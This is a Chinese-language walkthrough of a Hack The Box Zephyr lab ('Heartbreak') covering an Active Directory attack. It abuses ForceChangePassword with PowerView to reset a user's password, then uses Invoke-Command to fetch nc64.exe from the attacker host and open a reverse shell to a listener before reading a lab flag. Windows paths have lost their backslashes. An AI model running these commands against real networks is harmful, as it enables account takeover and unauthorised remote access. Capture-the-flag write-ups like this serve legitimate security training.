HTB-Zephyr笔记-Heartbreak

admin 2023年10月27日00:41:38评论1,006 views字数 6593阅读21分58秒阅读模式

HTB-Zephyr笔记-Heartbreak

回到BloodHound,我们可以搜索PNT-SVRBPA.PAINTERS.HTB,选择Reachable high value targets,并看到PNT-SVRBPA.PILTERS.HTB是否已启用ForceChangePassword在 BLAKEGPAINTERS.HTB上

HTB-Zephyr笔记-Heartbreak

BLAKECPINTERS.HTB被允许委派给域控制器,这使我们能够模拟DC计算机帐户来执行DCSync攻击。为了利用这一点,我们将PowerView.ps1(在powersploit里面,/usr/share/windows-resources/powersploit/Recon,域管理员定位)上传到PNT-SVRBPA机器,并发出以下命令来更改blake用户的密码,先加壳,PNT-SVRBPA有window defender

C:UsersAdministratorDesktop> powershell import-module .PowerView.ps1; $UserPassword = ConvertTo-SecureString "AbC!@#123" -AsPlainText -Force; Set-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -Verbose
VERBOSE: [Get-PrincipalContext] Binding to domain 'painters.htb'VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'blake'VERBOSE: [Set-DomainUserPassword] Password for user 'blake' successfully reset
C:UsersAdministratorDesktop>C:UsersAdministratorDesktop> hostnamePNT-SVRBPA
C:UsersAdministratorDesktop>
# python3 -m http.server 80
powershell wget http://10.10.14.12/PowerView.ps1 -o PowerView.ps1
C:UsersAdministratorDesktop> powershell import-module .PowerView.ps1; $UserPassword = ConvertTo-SecureString "AbC!@#123" -AsPlainText -Force; Set-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -Verbose VERBOSE: [Get-PrincipalContext] Binding to domain 'painters.htb'VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'blake'VERBOSE: [Set-DomainUserPassword] Password for user 'blake' successfully reset
C:UsersAdministratorDesktop> C:UsersAdministratorDesktop> hostnamePNT-SVRBPA
C:UsersAdministratorDesktop>

HTB-Zephyr笔记-Heartbreak

现在创建一个新的项目,通过使用Invoke-Command命令

C:UsersAdministratorDesktop> powershell import-module .PowerView.ps1; $UserPassword = ConvertTo-SecureString "AbC!@#123" -AsPlainText -Force; Set-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -Verbose VERBOSE: [Get-PrincipalContext] Binding to domain 'painters.htb'VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'blake'VERBOSE: [Set-DomainUserPassword] Password for user 'blake' successfully reset
C:UsersAdministratorDesktop> C:UsersAdministratorDesktop> powershell import-module .PowerView.ps1; $user = 'paintersblake'; $passwd = 'AbC!@#123'; $secpass = ConvertTo-SecureString $passwd -AsPlainText -Force; $cred = new-object system.management.automation.PSCredential $user,$secpass C:UsersAdministratorDesktop>

HTB-Zephyr笔记-Heartbreak

当尝试向域控制器进行身份验证时,我们会收到拒绝访问错误,这与PNT-SVRBPA计算机相同。我们尝试对PNT-SVRPSB机器进行身份验证,并能够成功地在服务器上执行命令,由于impacket自带的powershell命令行不好表达,使用nc再反弹一个james的shell,然后再使用

# nc -lvvp 443 listening on [any] 443 ...connect to [10.10.14.3] from painters.htb [10.10.110.35] 57559Microsoft Windows [Version 10.0.20348.1726](c) Microsoft Corporation. All rights reserved.
C:UsersAdministratorDesktop>ifconfigifconfig'ifconfig' is not recognized as an internal or external command,operable program or batch file.
C:UsersAdministratorDesktop>ipconfigipconfig
Windows IP Configuration

Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::ad85:93f1:8211:e682%5 IPv4 Address. . . . . . . . . . . : 192.168.110.53 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.110.1
C:UsersAdministratorDesktop>powershell

HTB-Zephyr笔记-Heartbreak

HTB-Zephyr笔记-Heartbreak

PS C:UsersAdministratorDesktop> $UserPassword = ConvertTo-SecureString "AbC!@#123" -AsPlainText -Force$UserPassword = ConvertTo-SecureString "AbC!@#123" -AsPlainText -ForcePS C:UsersAdministratorDesktop> Set-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -VerboseSet-DomainUserPassword -Domain painters.htb -Identity blake -AccountPassword $UserPassword -VerboseVERBOSE: [Get-PrincipalContext] Binding to domain 'painters.htb'
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'blake'VERBOSE: [Set-DomainUserPassword] Password for user 'blake' successfully resetPS C:UsersAdministratorDesktop> PS C:UsersAdministratorDesktop> $user = 'paintersblake'$user = 'paintersblake'PS C:UsersAdministratorDesktop> $passwd = 'AbC!@#123'$passwd = 'AbC!@#123'PS C:UsersAdministratorDesktop> $secpass = ConvertTo-SecureString $passwd -AsPlainText -Force$secpass = ConvertTo-SecureString $passwd -AsPlainText -ForcePS C:UsersAdministratorDesktop> $cred = new-object system.management.automation.PSCredential $user,$secpass$cred = new-object system.management.automation.PSCredential $user,$secpass

HTB-Zephyr笔记-Heartbreak

然后上传nc,使用Invoke-Command进行连接,注意的是这个shell是会被杀掉的,所以要重复连接,连接后建议不要使用powershell,不然会出现终端假死

PS C:UsersAdministratorDesktop> Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock { mkdir C:temp1; powershell iwr http://10.10.14.3/nc64.exe -O C:temp1nc64.exe } -Credential $credInvoke-Command -ComputerName PNT-SVRPSB -ScriptBlock { mkdir C:temp1; powershell iwr http://10.10.14.3/nc64.exe -O C:temp1nc64.exe } -Credential $cred

Directory: C:

Mode LastWriteTime Length Name PSComputerName ---- ------------- ------ ---- -------------- d----- 15/06/2023 16:00 temp1 PNT-SVRPSB

PS C:UsersAdministratorDesktop> Invoke-Command -ComputerName PNT-SVRPSB -ScriptBlock { C:temp1nc64.exe 10.10.14.3 443 -e cmd.exe } -Credential $credInvoke-Command -ComputerName PNT-SVRPSB -ScriptBlock { C:temp1nc64.exe 10.10.14.3 443 -e cmd.exe } -Credential $cred
└─# nc -lvvp 443listening on [any] 443 ...connect to [10.10.14.3] from painters.htb [10.10.110.35] 17434Microsoft Windows [Version 10.0.20348.1726](c) Microsoft Corporation. All rights reserved.
C:UsersBlakeDocuments>hostnamehostnamePNT-SVRPSB
C:UsersBlakeDocuments>whoamiwhoamipaintersblake
C:UsersBlakeDocuments>poershell

HTB-Zephyr笔记-Heartbreak

HTB-Zephyr笔记-Heartbreak

检查组可以看出blake是本地管理员组的一部分。

C:UsersBlakeDocuments>whoami /groupswhoami /groups
GROUP INFORMATION-----------------
Group Name Type SID Attributes ========================================== ================ ============ ===============================================================Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTINAdministrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group ownerBUILTINUsers Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITYNETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITYAuthenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITYThis Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group Mandatory LabelHigh Mandatory Level Label S-1-16-12288

HTB-Zephyr笔记-Heartbreak

因为是属于Administrator组里面的,所以直接可以进入Administrator文件夹里面,在桌面PNT-SVRPSB的Administrator桌面有个flag

C:UsersBlakeDocuments>cd C:UsersAdministratorDesktopcd C:UsersAdministratorDesktop
C:UsersAdministratorDesktop>dirdir Volume in drive C has no label. Volume Serial Number is 8C67-64E6
Directory of C:UsersAdministratorDesktop
18/10/2022 17:42 <DIR> .06/03/2022 19:02 <DIR> ..18/10/2022 17:42 33 flag.txt 1 File(s) 33 bytes 2 Dir(s) 30,431,055,872 bytes free
C:UsersAdministratorDesktop>type flag.txttype flag.txtZEPHYR{7h3_Tru57_h45_B3eN_Br0k3n}

HTB-Zephyr笔记-Heartbreak


原文始发于微信公众号(Jiyou too beautiful):HTB-Zephyr笔记-Heartbreak

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月27日00:41:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-Zephyr笔记-Heartbreakhttp://cn-sec.com/archives/2148498.html

发表评论

匿名网友 填写信息